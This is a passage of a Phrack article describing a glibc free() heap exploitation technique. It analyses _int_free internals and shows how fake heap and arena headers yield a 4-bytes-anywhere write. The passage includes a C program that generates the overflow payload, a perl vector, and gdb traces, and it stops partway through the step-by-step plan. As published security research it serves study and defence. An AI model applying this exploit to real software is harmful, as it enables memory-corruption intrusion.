Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 13 Issue 66 File 06
==Phrack Inc.==
Volume 0x0d, Issue 0x42, Phile #0x06 of 0x11
|=-----------------------------------------------------------------------=|
|=-------------=[ Yet another free() exploitation technique ]=-----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ By huku ]=--------------=|
|=---------------=[ ]=--------------=|
|=---------------=[ huku <huku _at_ grhack _dot_ net ]=--------------=|
|=-----------------------------------------------------------------------=|
---[ Contents
I. Introduction
II. Brief history of glibc heap exploitation
III. Various facts regarding the glibc malloc() implementation
1. Chunk flags
2. Heaps, arenas and contiguity
3. The FIFO nature of the malloc() algorithm
4. The prev_size under our control
5. Debugging and options
IV. In depth analysis on free()'s vulnerable paths
1. Introduction
2. A trip to _int_free()
V. Controlling unsorted_chunks() return value
VI. Creating fake heap and arena headers
VII. Putting it all together
VIII. The ClamAV case
1. The bug
2. The exploit
IX. Epilogue
X. References
XI. Attachments
---[ I. Introduction
When articles [01] and [02] were released in Phrack 57, heap
exploitation techniques became a common fashion. Various heap
exploits were, and are still published on various security related
lists and sites. Since then, the glibc code, and especially malloc.c,
evolved dramatically and eventually, various heap protection schemes
were added just to make exploitation harder.
This article presents a new free() exploitation technique, different
from those published at [06]. Yet, knowledge of [06] is assumed,
as several concepts presented here are derived from the author's
writings. Our technique makes use of 4 malloc() chunks (either
directly allocated or fake ones constructed by the attacker) and
achieves a '4 bytes anywhere' result. Our study focuses on the
current situation of the glibc malloc() code and how one can bypass
the security measures it imposes. The first two sections act as a
flash back and as a rehash of older knowledge. Several important
aspects regarding malloc() are also discussed. The aforementioned
sections act as a foundation for the sections to follow. Finally,
a real life scenario on ClamAV is presented as demonstration for
our technique.
The glibc versions revised during the analysis were 2.3.6, 2.4, 2.5
and 2.6 (the latest version at the time of writing). Version 2.3.6
was chosen due to the fact that glibc versions greater or equal to
2.3.5 include additional security precautions. Examples were not
tested on systems running glibc 2.2.x since it is considered quite
obsolete.
This article assumes basic knowledge of malloc() internals as they
are described in [01] and [02]. If you haven't read them yet then
probably you should do so now. The reader is also urged to read
[03], [04] and [05]. Experience on real life heap overflows is also
suggested but not required.
---[ II. Brief history of glibc heap exploitation
It is of common belief that the first person to publicly talk about
heap overflows was Solar Designer back in the July of 2000. His
related advisory [07], introduced the unlink() technique which was
also characterized as a non-trivial process. By that time, Solar
Designer wouldn't even imagine that this would be the start of a
new era in exploitation methods. It was only a year later, in the
August of 2001, when a more formal standardization of the term 'heap
overflow' essentially appeared, right after the release of Phrack
articles [01] and [02] written by MaXX and anonymous respectively.
In his article, MaXX admitted that the technique Solar Designer had
published, was already known 'in the wild' and was successfully
used on programs like Netscape browsers, traceroute, and slocate.
A huge volume of discoveries and exploits utilizing the disclosed
techniques hit the lights of publicity. Some of the most notable
research done at that time were [03], [04] and [05].
In December 2003, Stefan Esser replies to some, innocent at the
first sight, mail [08] announcing the availability of a dynamic
library that protects against heap overflows. His own solution is
very simple - just check that the 'fd' and 'bk' pointers are actually
pointing where they should. His idea was then adopted by glibc-2.3.5
along with other sanity checks thus rendering the unlink() and
frontlink() techniques useless. The underground, at that time,
assumes that pure malloc() heap overflows are gone but researchers
sit back and start doing what they knew best, audit. The community
remained silent for a long time. It is obvious that certain 0day
techniques were developed but people appreciated their value and
denied their disclosure.
Fortunately, two persons decided to shed some light on the malloc()
case. In 2005, Phatantasmal Phatasmagoria (the person responsible
for the disclosure of the wilderness chunk exploitation techniques
[09]) publishes the 'Malloc Malleficarum' [06]. His paper introduces
5 new ways of bypassing the restrictions imposed by the latest glibc
versions and is considered quite a masterpiece even today. In May
the 27th 2007, g463 publishes [10], a very interesting paper
describing a new technique exploiting set_head() and the topmost
chunk. With this method, one could achieve an 'almost 4 bytes almost
anywhere' condition. In this article, g463 explains how his technique
can be used to flip the heap onto the stack and proves it by coding
a neat exploit for file(1). The community receives another excellent
paper which proves that exploitation is an art.
But enough about the past. Before entering a new chapter of the
malloc() history, the author would like to clarify a few details
regarding malloc() internals. It's actually the very basis of what
will follow.
---[ III. Various facts regarding the glibc malloc() implementation
--[ 1. Chunk flags
Probably, you are already familiar with the layout of the malloc()
chunk header as well as with its 'size' and 'prev_size' fields.
What is usually overlooked is the fact that apart from PREV_INUSE,
the 'size' field may also contain two more flags, the IS_MMAPPED
and the NON_MAIN_ARENA, the latter being the most interesting one.
When the NON_MAIN_ARENA flag is set, it indicates that the chunk
is part of an independent mmap()'ed memory region.
--[ 2. Heaps, arenas and contiguity
The malloc() interface does not guarantee contiguity but tries to
achieve it whenever possible. In fact, depending on the underlying
architecture and the compilation options, contiguity checks may not
even be performed. When the system is hungry for memory, if the
main (the default) arena is locked and busy serving other requests
(requests possibly coming from other threads of the same process),
malloc() will try to allocate and initialize a new mmap()'ed region,
called a 'heap'. Schematically, a heap looks like the following
figure.
...+----------+-----------+---------+-...-+---------+...
| Heap hdr | Arena hdr | Chunk_1 | | Chunk_n |
...+----------+-----------+---------+-...-+---------+...
The heap starts with a, so called, heap header which is physically
followed by an arena header (also called a 'malloc state' or just
'mstate'). Below, you can see the layout of these structures.
--- snip ---
typedef struct _heap_info {
mstate ar_ptr; /* Arena for this heap */
struct _heap_info *prev; /* Previous heap */
size_t size; /* Current size in bytes */
size_t mprotect_size; /* Mprotected size */
} heap_info;
--- snip ---
--- snip ---
struct malloc_state {
mutex_t mutex; /* Mutex for serialized access */
int flags; /* Various flags */
mfastbinptr fastbins[NFASTBINS]; /* The fastbin array */
mchunkptr top; /* The top chunk */
mchunkptr last_remainder; /* The rest of a chunk split */
mchunkptr bins[NBINS * 2 - 2]; /* Normal size bins */
unsigned int binmap[BINMAPSIZE]; /* The bins[] bitmap */
struct malloc_state *next; /* Pointer to the next arena */
INTERNAL_SIZE_T system_mem; /* Allocated memory */
INTERNAL_SIZE_T max_system_mem; /* Max memory available */
};
typedef struct malloc_chunk *mchunkptr;
typedef struct malloc_chunk *mbinptr;
typedef struct malloc_chunk *mfastbinptr;
--- snip ---
The heap header should always be aligned to a 1Mbyte boundary and
since its maximum size is 1Mbyte, the address of a chunk's heap can
be easily calculated using the following formula.
--- snip ---
#define HEAP_MAX_SIZE (1024*1024)
#define heap_for_ptr(ptr) \
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
--- snip ---
Notice that the arena header contains a field called 'flags'. The
3rd MSB of this integer indicates wether the arena is contiguous
or not. If not, certain contiguity checks during malloc() and free()
are ignored and never performed. By taking a closer look at the
heap header, one can also notice that a field named 'ar_ptr' also
exists, which of course, should point to the arena header of the
current heap. Since the arena header physically borders the heap
header, the 'ar_ptr' field can easily be calculated by adding the
size of the heap_info structure to the address of the heap itself.
--[ 3. The FIFO nature of the malloc() algorithm
The glibc malloc() implementation is a first fit algorithm (as
opposed to best fit algorithms). That is, when the user requests N
bytes, the allocator searches for the first chunk with size bigger
or equal to N. Then, the chunk is split, and one half (of size N)
is returned to the user while the other half plays the role of the
last remainder. Additionally, due to a feature called 'unsorted
chunks', the heap blocks are returned back to the user in a FIFO
fashion (the most recently free()'ed blocks are first scanned).
This may allow an attacker to allocate a chunk within various heap
holes that may have resulted after calling free() or realloc().
--- snip ---
#include <stdio.h>
#include <stdlib.h>
int main() {
void *a, *b, *c;
a = malloc(16);
b = malloc(16);
fprintf(stderr, "a = %p | b = %p\n", a, b);
a = realloc(a, 32);
fprintf(stderr, "a = %p | b = %p\n", a, b);
c = malloc(16);
fprintf(stderr, "a = %p | b = %p | c = %p\n", a, b, c);
free(a);
free(b);
free(c);
return 0;
}
--- snip ---
This code will allocate two chunks of size 16. Then, the first chunk
is realloc()'ed to a size of 32 bytes. Since the first two chunks
are physically adjacent, there's not enough space to extend 'a'.
The allocator will return a new chunk which, physically, resides
somewhere after 'a'. Hence, a hole is created before the first
chunk. When the code requests a new chunk 'c' of size 16, the
allocator notices that a free chunk exists (actually, this is the
most recently free()'ed chunk) which can be used to satisfy the
request. The hole is returned to the user. Let's verify.
--- snip ---
$ ./test
a = 0x804a050 | b = 0x804a068
a = 0x804a080 | b = 0x804a068
a = 0x804a080 | b = 0x804a068 | c = 0x804a050
--- snip ---
Indeed, chunk 'c' and the initial 'a', have the same address.
--[ 4. The prev_size under our control
A potential attacker always controls the 'prev_size' field of the
next chunk even if they are unable to overwrite anything else. The
'prev_size' lies on the last 4 bytes of the usable space of the
attacker's chunk. For all you C programmers, there's a function
called malloc_usable_size() which returns the usable size of
malloc()'ed area given the corresponding pointer. Although there's
no manual page for it, glibc exports this function for the end user.
--[ 5. Debugging and options
Last but not least, the signedness and size of the 'size' and
'prev_size' fields are totally configurable. You can change them
by resetting the INTERNAL_SIZE_T constant. Throughout this article,
the author used a x86 32bit system with a modified glibc, compiled
with the default options. For more info on the glibc compilation
for debugging purposes see [11], a great blog entry written by
Echothrust's Chariton Karamitas (hola dude!).
---[ IV. In depth analysis on free()'s vulnerable paths
--[ 1. Introduction
Before getting into more details, the author would like to stress
the fact that the technique presented here requires that the attacker
is able to write null bytes. That is, this method targets read(),
recv(), memcpy(), bcopy() or similar functions. The str*cpy() family
of functions can only be exploited if certain conditions apply (e.g.
when decoding routines like base64 etc are used). This is, actually,
the only real life limitation that this technique faces.
In order to bypass the restrictions imposed by glibc an attacker
must have control over at least 4 chunks. They can overflow the
first one and wait until the second is freed. Then, a '4 bytes
anywhere' result is achieved (an alternative technique is to create
fake chunks rather than expecting them to be allocated, just read
on). Finding 4 contiguous chunks in the system memory is not a
serious matter. Just consider the case of a daemon allocating a
buffer for each client. The attacker can force the daemon to allocate
contiguous buffers into the heap by repeatedly firing up connections
to the target host. This is an old technique used to stabilize the
heap state (e.g in openssl-too-open.c). Controlling the heap memory
allocation and freeing is a fundamental precondition required to
build any decent heap exploit after all.
Ok, let's start the actual analysis. Consider the following piece
of code.
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *ptr, *c1, *c2, *c3, *c4;
int i, n, size;
if(argc != 3) {
fprintf(stderr, "%s <n> <size>\n", argv[0]);
return -1;
}
n = atoi(argv[1]);
size = atoi(argv[2]);
for(i = 0; i < n; i++) {
ptr = malloc(size);
fprintf(stderr, "[~] Allocated %d bytes at %p-%p\n",
size, ptr, ptr+size);
}
c1 = malloc(80);
fprintf(stderr, "[~] Chunk 1 at %p\n", c1);
c2 = malloc(80);
fprintf(stderr, "[~] Chunk 2 at %p\n", c2);
c3 = malloc(80);
fprintf(stderr, "[~] Chunk 3 at %p\n", c3);
c4 = malloc(80);
fprintf(stderr, "[~] Chunk 4 at %p\n", c4);
read(fileno(stdin), c1, 0x7fffffff); /* (1) */
fprintf(stderr, "[~] Freeing %p\n", c2);
free(c2); /* (2) */
return 0;
}
--- snip ---
This is a very typical situation on many programs, especially network
daemons. The for() loop emulates the ability of the user to force
the target program perform a number of allocations, or just indicates
that a number of allocations have already taken place before the
attacker is able to write into a chunk. The rest of the code allocates
four contiguous chunks. Notice that the first one is under the
attacker's control. At (2) the code calls free() on the second
chunk, the one physically bordering the attacker's block. To see
what happens from there on, one has to delve into the glibc free()
internals.
When a user calls free() within the userspace, the wrapper __libc_free()
is called. This wrapper is actually the function public_fREe()
declared in malloc.c. Its job is to perform some basic sanity checks
and then control is passed to _int_free() which does the hard work
of actually freeing the chunk. The whole code of _int_free() consists
of a 'if', 'else if' and 'else' block, which handles chunks depending
on their properties. The 'if' part handles chunks that belong to
fast bins (i.e whose size is less than 64 bytes), the 'else if'
part is the one analyzed here and the one that handles bigger chunks.
The last 'else' clause is used for very big chunks, those that were
actually allocated by mmap().
--[ 2. A trip to _int_free()
In order to fully understand the structure of _int_free(), let us
examine the following snippet.
--- snip ---
void _int_free(...) {
...
if(...) {
/* Handle chunks of size less than 64 bytes. */
}
else if(...) {
/* Handle bigger chunks. */
}
else {
/* Handle mmap()ed chunks. */
}
}
--- snip ---
One should actually be interested in the 'else if' part which handles
chunks of size larger than 64 bytes. This means, of course, that
the exploitation method presented here works only for such chunk
sizes but this is not much of a big obstacle as most everyday
applications allocate chunks usually larger than this.
So, let's see what happens when _int_free() is eventually reached.
Imagine that 'p' is the pointer to the second chunk (the chunk named
'c2' in the snippet of the previous section), and that the attacker
controls the chunk just before the one passed to _int_free(). Notice
that there are two more chunks after 'p' which are not directly
accessed by the attacker. Here's a step by step guide to _int_free().
Make sure you read the comments very carefully.
--- snip ---
/* Let's handle chunks that have a size bigger than 64 bytes
* and that are not mmap()ed.
*/
else if(!chunk_is_mmapped(p)) {
/* Get the pointer to the chunk next to the one
* being freed. This is the pointer to the third
* chunk (named 'c3' in the code).
*/
nextchunk = chunk_at_offset(p, size);
/* 'p' (the chunk being freed) is checked whether it
* is the av->top (the topmost chunk of this arena).
* Under normal circumstances this test is passed.
* Freeing the wilderness chunk is not a good idea
* after all.
*/
if(__builtin_expect(p == av->top, 0)) {
errstr = "double free or corruption (top)";
goto errout;
}
...
...
--- snip ---
So, first _int_free() checks if the chunk being freed is the top
chunk. This is of course false, so the attacker can ignore this
test as well as the following three.
--- snip ---
/* Another lightweight check. Glibc checks here if
* the chunk next to the one being freed (the third
* chunk, 'c3') lies beyond the boundaries of the
* current arena. This is also kindly passed.
*/
if(__builtin_expect(contiguous(av)
&& (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0)) {
errstr = "double free or corruption (out)";
goto errout;
}
/* The PREV_INUSE flag of the third chunk is checked.
* The third chunk indicates that the second chunk
* is in use (which is the default).
*/
if(__builtin_expect(!prev_inuse(nextchunk), 0)) {
errstr = "double free or corruption (!prev)";
goto errout;
}
/* Get the size of the third chunk and check if its
* size is less than 8 bytes or more than the system
* allocated memory. This test is easily bypassed
* under normal circumstances.
*/
nextsize = chunksize(nextchunk);
if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(nextsize >= av->system_mem, 0)) {
errstr = "free(): invalid next size (normal)";
goto errout;
}
...
...
--- snip ---
Glibc will then check if backward consolidation should be performed.
Remember that the chunk being free()'ed is the one named 'c2' and
that 'c1' is under the attacker's control. Since 'c1' physically
borders 'c2', backward consolidation is not feasible.
--- snip ---
/* Check if the chunk before 'p' (named 'c1') is in
* use and if not, consolidate backwards. This is false.
* The attacker controls the first chunk and this code
* is skipped as the first chunk is considered in use
* (the PREV_INUSE flag of the second chunk is set).
*/
if(!prev_inuse(p)) {
...
...
}
--- snip ---
The most interesting code snippet is probably the one below:
--- snip ---
/* Is the third chunk the top one? If not then... */
if(nextchunk != av->top) {
/* Get the prev_inuse flag of the fourth chunk (i.e
* 'c4'). One must overwrite this in order for glibc
* to believe that the third chunk is in use. This
* way forward consolidation is avoided.
*/
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
...
...
/* (1) */
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
/* The 'p' pointer is controlled by the attacker.
* It's the prev_size field of the second chunk
* which is accessible at the end of the usable
* area of the attacker's chunk.
*/
bck->fd = p;
fwd->bk = p;
...
...
}
--- snip ---
So, (1) is eventually reached. In case you didn't notice this is
an old fashioned unlink() pointer exchange where unsorted_chunks(av)+8
gets the value of 'p'. Now recall that 'p' points to the 'prev_size'
of the chunk being freed, a piece of information that the attacker
controls. So assuming that the attacker somehow forces the return
value of unsorted_chunks(av)+8 to point somewhere he pleases (e.g
.got or .dtors) then the pointer there gets the value of 'p'.
'prev_size', being a 32bit integer, is not enough for storing any
real shellcode, but it's enough for branching anywhere via JMP
instructions. Let's not cope with such minor details yet, here's
how one may force free() to follow the aforementioned code path.
--- snip ---
$ # 72 bytes of alphas for the data area of the first chunk
$ # 4 bytes prev_size of the next chunk (still in the data area)
$ # 4 bytes size of the second chunk (PREV_INUSE set)
$ # 76 bytes of garbage for the second chunk's data
$ # 4 bytes size of the third chunk (PREV_INUSE set)
$ # 76 bytes of garbage for the third chunk's data
$ # 4 bytes size of the fourth chunk (PREV_INUSE set)
$ perl -e 'print "A" x 72,
> "\xef\xbe\xad\xde",
> "\x51\x00\x00\x00",
> "B" x 76,
> "\x51\x00\x00\x00",
> "C" x 76,
> "\x51\x00\x00\x00"' > VECTOR
$ ldd ./test
linux-gate.so.1 => (0xb7fc0000)
libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7e90000)
/home/huku/test_builds/lib/ld-linux.so.2 (0xb7fc1000)
$ gdb -q ./test
(gdb) b _int_free
Function "_int_free" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (_int_free) pending.
(gdb) run 1 80 < VECTOR
Starting program: /home/huku/test 1 80 < VECTOR
[~] Allocated 80 bytes at 0x804a008-0x804a058
[~] Chunk 1 at 0x804a060
[~] Chunk 2 at 0x804a0b0
[~] Chunk 3 at 0x804a100
[~] Chunk 4 at 0x804a150
[~] Freeing 0x804a0b0
Breakpoint 1, _int_free (av=0xb7f85140, mem=0x804a0b0) at malloc.c:4552
4552 p = mem2chunk(mem);
(gdb) step
4553 size = chunksize(p);
...
...
(gdb) step
4688 bck = unsorted_chunks(av);
(gdb) step
4689 fwd = bck->fd;
(gdb) step
4690 p->fd = fwd;
(gdb) step
4691 p->bk = bck;
(gdb) step
4692 if (!in_smallbin_range(size))
(gdb) step
4697 bck->fd = p;
(gdb) print (void *)bck->fd
$1 = (void *) 0xb7f85170
(gdb) print (void *)p
$2 = (void *) 0x804a0a8
(gdb) x/4bx (void *)p
0x804a0a8: 0xef 0xbe 0xad 0xde
(gdb) quit
The program is running. Exit anyway? (y or n) y
--- snip ---
So, 'bck->fd' has a value of 0xb7f85170, which is actually the 'fd'
field of the first unsorted chunk. Then, 'fd' gets the value of 'p'
which points to the 'prev_size' of the second chunk (called 'c2'
in the code snippet). The attacker places the value 0xdeadbeef over
there. Eventually, the following question arises: How can one control
unsorted_chunks(av)+8? Giving arbitrary values to unsorted_chunks()
may result in a '4 bytes anywhere' condition, just like the old
fashioned unlink() technique.
---[ V. Controlling unsorted_chunks() return value
The unsorted_chunks() macro is defined as follows.
--- snip ---
#define unsorted_chunks(M) (bin_at(M, 1))
--- snip ---
--- snip ---
#define bin_at(m, i) \
(mbinptr)(((char *)&((m)->bins[((i) - 1) * 2])) \
- offsetof(struct malloc_chunk, fd))
--- snip ---
The 'M' and 'm' parameters of these macros refer to the arena where
a chunk belongs. A real life usage of unsorted_chunks() is briefly
shown below.
--- snip ---
ar_ptr = arena_for_chunk(p);
...
...
bck = unsorted_chunks(ar_ptr);
--- snip ---
The arena for chunk 'p' is first looked up and then used in the
unsorted_chunks() macro. What is now really interesting is the way
the malloc() implementation finds the arena for a given chunk.
--- snip ---
#define arena_for_chunk(ptr) \
(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
--- snip ---
--- snip ---
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
--- snip ---
--- snip ---
#define heap_for_ptr(ptr) \
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
--- snip ---
For a given chunk (like 'p' in the previous snippet), glibc checks
whether this chunk belongs to the main arena by looking at the
'size' field. If the NON_MAIN_ARENA flag is set, heap_for_ptr() is
called and the 'ar_ptr' field is returned. Since the attacker
controls the 'size' field of a chunk during an overflow condition,
she can set or unset this flag at will. But let's see what's the
return value of heap_for_ptr() for some sample chunk addresses.
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#define HEAP_MAX_SIZE (1024*1024)
#define heap_for_ptr(ptr) \
((void *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
int main(int argc, char *argv[]) {
size_t i, n;
void *chunk, *heap;
if(argc != 2) {
fprintf(stderr, "%s <n>\n", argv[0]);
return -1;
}
if((n = atoi(argv[1])) <= 0)
return -1;
chunk = heap = NULL;
for(i = 0; i < n; i++) {
while((chunk = malloc(1024)) != NULL) {
if(heap_for_ptr(chunk) != heap) {
heap = heap_for_ptr(chunk);
break;
}
}
fprintf(stderr, "%.2d heap address: %p\n",
i+1, heap);
}
return 0;
}
--- snip ---
Let's compile and run.
--- snip ---
$ ./test 10
01 heap address: 0x8000000
02 heap address: 0x8100000
03 heap address: 0x8200000
04 heap address: 0x8300000
05 heap address: 0x8400000
06 heap address: 0x8500000
07 heap address: 0x8600000
08 heap address: 0x8700000
09 heap address: 0x8800000
10 heap address: 0x8900000
--- snip ---
This code prints the first N heap addresses. So, for a chunk that
has an address of 0xdeadbeef, its heap location is at most 1Mbyte
backwards. Precisely, chunk 0xdeadbeef belongs to heap 0xdea00000.
So if an attacker controls the location of a chunk's theoretical
heap address, then by overflowing the 'size' field of this chunk,
they can fool free() to assume that a valid heap header is stored
there. Then, by carefully setting up fake heap and arena headers,
an attacker may be able to force unsorted_chunks() to return a value
of their choice.
This is not a rare situation; in fact this is how most real life
heap exploits work. Forcing the target application to perform a
number of continuous allocations, helps the attacker control the
arena header. Since the heap is not randomized and the chunks are
sequentially allocated, the heap addresses are static and can be
used across all targets! Even if the target system is equipped with
the latest kernel and has heap randomization enabled, the heap
addresses can be easily brute forced since a potential attacker
only needs to know the upper part of an address rather than some
specific location in the virtual address space.
Notice that the code shown in the previous snippet always produces
the same results and precisely the ones depicted above. That is,
given the approximation of the address of some chunk one tries to
overflow, the heap address can be easily precalculated using
heap_for_ptr().
For example, suppose that the last chunk allocated by some application
is located at the address 0x080XXXXX. Suppose that this chunk belongs
to the main arena, but even If it wouldn't, its heap address would
be 0x080XXXXX & 0xfff00000 = 0x08000000. All one has to do is to
force the application perform a number of allocations until the
target chunk lies beyond 0x08100000. Then, if the target chunk has
an address of 0x081XXXXX, by overflowing its 'size' field, one can
make free() assume that it belongs to some heap located at 0x08100000.
This area is controlled by the attacker who can place arbitrary
data there. When public_fREe() is called and sees that the heap
address for the chunk to be freed is 0x08100000, it will parse the
data there as if it were a valid arena. This will give the attacker
the chance to control the return value of unsorted_chunks().
---[ VI. Creating fake heap and arena headers
Once an attacker controls the contents of the heap and arena headers,
what are they supposed to place there? Placing random arbitrary
values may result in the target application getting stuck by entering
endless loops or even segfaulting before its time, so, one should
be careful in not causing such side effects. In this section, we
deal with this problem. Proper values for various fields are shown
and an exploit for our example code is developed.
Right after entering _int_free(), do_check_chunk() is called in
order to perform lightweight sanity checks on the chunk being freed.
Below is a code snippet taken from the aforementioned function.
Certain pieces were removed for clarity.
--- snip ---
char *max_address = (char*)(av->top) + chunksize(av->top);
char *min_address = max_address - av->system_mem;
if(p != av->top) {
if(contiguous(av)) {
assert(((char*)p) >= min_address);
assert(((char*)p + sz) <= ((char*)(av->top)));
}
}
--- snip ---
The do_check_chunk() code fetches the pointer to the topmost chunk
as well as its size. Then 'max_address' and 'min_address' get the
values of the higher and the lower available address for this arena
respectively. Then, 'p', the pointer to the chunk being freed is
checked against the pointer to the topmost chunk. Since one should
not free the topmost chunk, this code is, under normal conditions,
bypassed. Next, the arena named 'av', is tested for contiguity. If
it's contiguous, chunk 'p' should fall within the boundaries of its
arena; if not the checks are kindly ignored.
So far there are two restrictions. The attacker should provide a
valid 'av->top' that points to a valid 'size' field. The next set
of restrictions are the assert() checks which will mess the
exploitation. But let's first focus on the macro named contiguous().
--- snip ---
#define NCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
--- snip ---
Since the attacker controls the arena flags, if they set it to some
integer having the third least significant bit set, then contiguous(av)
is false and the assert() checks are ignored. Additionally, providing
an 'av->top' pointer equal to the heap address, results in 'max_address'
and 'min_address' getting valid values, thus avoiding annoying
segfaults due to invalid pointer accesses. It seems that the first
set of problems was easily solved.
Do you think it's over? Hell no. After some lines of code are
executed, _int_free() uses the macro __builtin_expect() to check
if the size of the chunk right next to the one being freed (the
third chunk) is larger than the total available memory of the arena.
This is a good measure for detecting overflows and any decent
attacker should get away with it.
--- snip ---
nextsize = chunksize(nextchunk);
if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(nextsize >= av->system_mem, 0)) {
errstr = "free(): invalid next size (normal)";
goto errout;
}
--- snip ---
By setting 'av->system_mem' equal to 0xffffffff, one can bypass any
check regarding the available memory and obviously this one as well.
Although important for the internal workings of malloc(), the
'av->max_system_mem' field can be zero since it won't get on the
attacker's way.
Unfortunately, before even reaching _int_free(), in public_fREe(),
the mutex for the current arena is locked. Here's the snippet trying
to achieve a valid lock sequence.
--- snip ---
#if THREAD_STATS
if(!mutex_trylock(&ar_ptr->mutex))
++(ar_ptr->stat_lock_direct);
else {
mutex_lock(&ar_ptr->mutex);
++(ar_ptr->stat_lock_wait);
}
#else
mutex_lock(&ar_ptr->mutex);
#endif
--- snip ---
In order to see what happens I had to delve into the internals of
the NPTL library (also part of glibc). Since NPTL is out of the
scope of this article I won't explain everything here. Briefly, the
mutex is represented by a pthread_mutex_t structure consisting of
5 integers. Giving invalid or random values to these integers will
result in the code waiting until mutex's release. After messing
with the NPTL internals, I noticed that setting all the integers
to 0 will result in the mutex being acquired and locked properly.
The code then continues execution without further problems.
Right now there are no more restrictions, we can just place the
value 0x08100020 (the heap header offset plus the heap header size)
in the 'ar_ptr' field of the _heap_info structure, and give the
value retloc-12 to bins[0] (where retloc is the return location
where the return address will be written). Recall that the return
address points to the 'prev_size' field of the chunk being freed,
an integer under the attacker's control. What should one place
there? This is another problem that needs to be solved.
Since only a small amount of bytes is needed for the heap and the
arena headers at 0x08100000 (or similar address), one can use this
area for storing shellcode and nops as well. By setting the 'prev_size'
field of the chunk being freed equal to a JMP instruction, one can
branch some bytes ahead or backwards so that execution is transfered
somewhere in 0x08100000 but, still, after the heap and arena headers!
Valid locations are 0x08100000+X with X >= 72, that is, X should
be an offset after the heap header and after bins[0]. This is not
as complicated as it sounds, in fact, all addresses needed for
exploitation are static and can be easily precalculated!
The code below triggers a '4 bytes anywhere' condition.
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char buffer[65535], *arena, *chunks;
/* Clean up the buffer. */
bzero(buffer, sizeof(buffer));
/* Pointer to the beginning of the arena header. */
arena = buffer + 360;
/* Pointer to the arena header -- offset 0. */
*(unsigned long int *)&arena[0] = 0x08100000 + 12;
/* Arena flags -- offset 16. */
*(unsigned long int *)&arena[16] = 2;
/* Pointer to fake top -- offset 60. */
*(unsigned long int *)&arena[60] = 0x08100000;
/* Return location minus 12 -- offset 68. */
*(unsigned long int *)&arena[68] = 0x41414141 - 12;
/* Available memory for this arena -- offset 1104. */
*(unsigned long int *)&arena[1104] = 0xffffffff;
/* Pointer to the second chunk's prev_size (shellcode). */
chunks = buffer + 10240;
*(unsigned long int *)&chunks[0] = 0xdeadbeef;
/* Pointer to the second chunk. */
chunks = buffer + 10244;
/* Size of the second chunk (PREV_INUSE+NON_MAIN_ARENA). */
*(unsigned long int *)&chunks[0] = 0x00000055;
/* Pointer to the third chunk. */
chunks = buffer + 10244 + 80;
/* Size of the third chunk (PREV_INUSE). */
*(unsigned long int *)&chunks[0] = 0x00000051;
/* Pointer to the fourth chunk. */
chunks = buffer + 10244 + 80 + 80;
/* Size of the fourth chunk (PREV_INUSE). */
*(unsigned long int *)&chunks[0] = 0x00000051;
write(1, buffer, 10244 + 80 + 80 + 4);
return;
}
--- snip ---
--- snip ---
$ gcc exploit.c -o exploit
$ ./exploit > VECTOR
$ gdb -q ./test
(gdb) b _int_free
Function "_int_free" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (_int_free) pending.
(gdb) run 722 1024 < VECTOR
Starting program: /home/huku/test 722 1024 < VECTOR
[~] Allocated 1024 bytes at 0x804a008-0x804a408
[~] Allocated 1024 bytes at 0x804a410-0x804a810
[~] Allocated 1024 bytes at 0x804a818-0x804ac18
...
...
[~] Allocated 1024 bytes at 0x80ffa90-0x80ffe90
[~] Chunk 1 at 0x80ffe98-0x8100298
[~] Chunk 2 at 0x81026a0
[~] Chunk 3 at 0x81026f0
[~] Chunk 4 at 0x8102740
[~] Freeing 0x81026a0
Breakpoint 1, _int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4552
4552 p = mem2chunk(mem);
(gdb) print *av
$1 = {mutex = 1, flags = 2, fastbins = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0}, top = 0x8100000, last_remainder = 0x0, bins = {0x41414135,
0x0 <repeats 253 times>},
binmap = {0, 0, 0, 0}, next = 0x0, system_mem = 4294967295,
max_system_mem = 0}
--- snip ---
It seems that all the values for the arena named 'av', are in
position.
--- snip ---
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
_int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4698
4698 fwd->bk = p;
(gdb) print (void *)fwd
$2 = (void *) 0x41414135
(gdb) print (void *)fwd->bk
Cannot access memory at address 0x41414141
(gdb) print (void *)p
$3 = (void *) 0x8102698
(gdb) x/4bx p
0x8102698: 0xef 0xbe 0xad 0xde
(gdb) q
The program is running. Exit anyway? (y or n) y
--- snip ---
Indeed, 'fwd->bk' is the return location (0x41414141) and 'p' is
the return address (the address of the 'prev_size' of the second
chunk). The attacker placed there the data 0xdeadbeef. So, it's now
just a matter of placing the nops and the shellcode at the proper
location. This is, of course, left as an exercise for the reader
(the .dtors section is your friend) :-)
---[ VII. Putting it all together
It's now time to develop a logical plan of what some attacker is
supposed to do in order to take advantage of such a security hole.
Although it should be quite clear by now, the steps required for
successful exploitation are listed below.
* An attacker must force the program perform sequential allocations
in the heap and eventually control a chunk whose boundaries contain
the new theoretical heap address. For example, if allocations start
at 0x080XXXXX then they should allocate chunks until the one they
control contains the address 0x08100000 within its bounds. The
chunks should be larger than 64 bytes but smaller than the mmap()
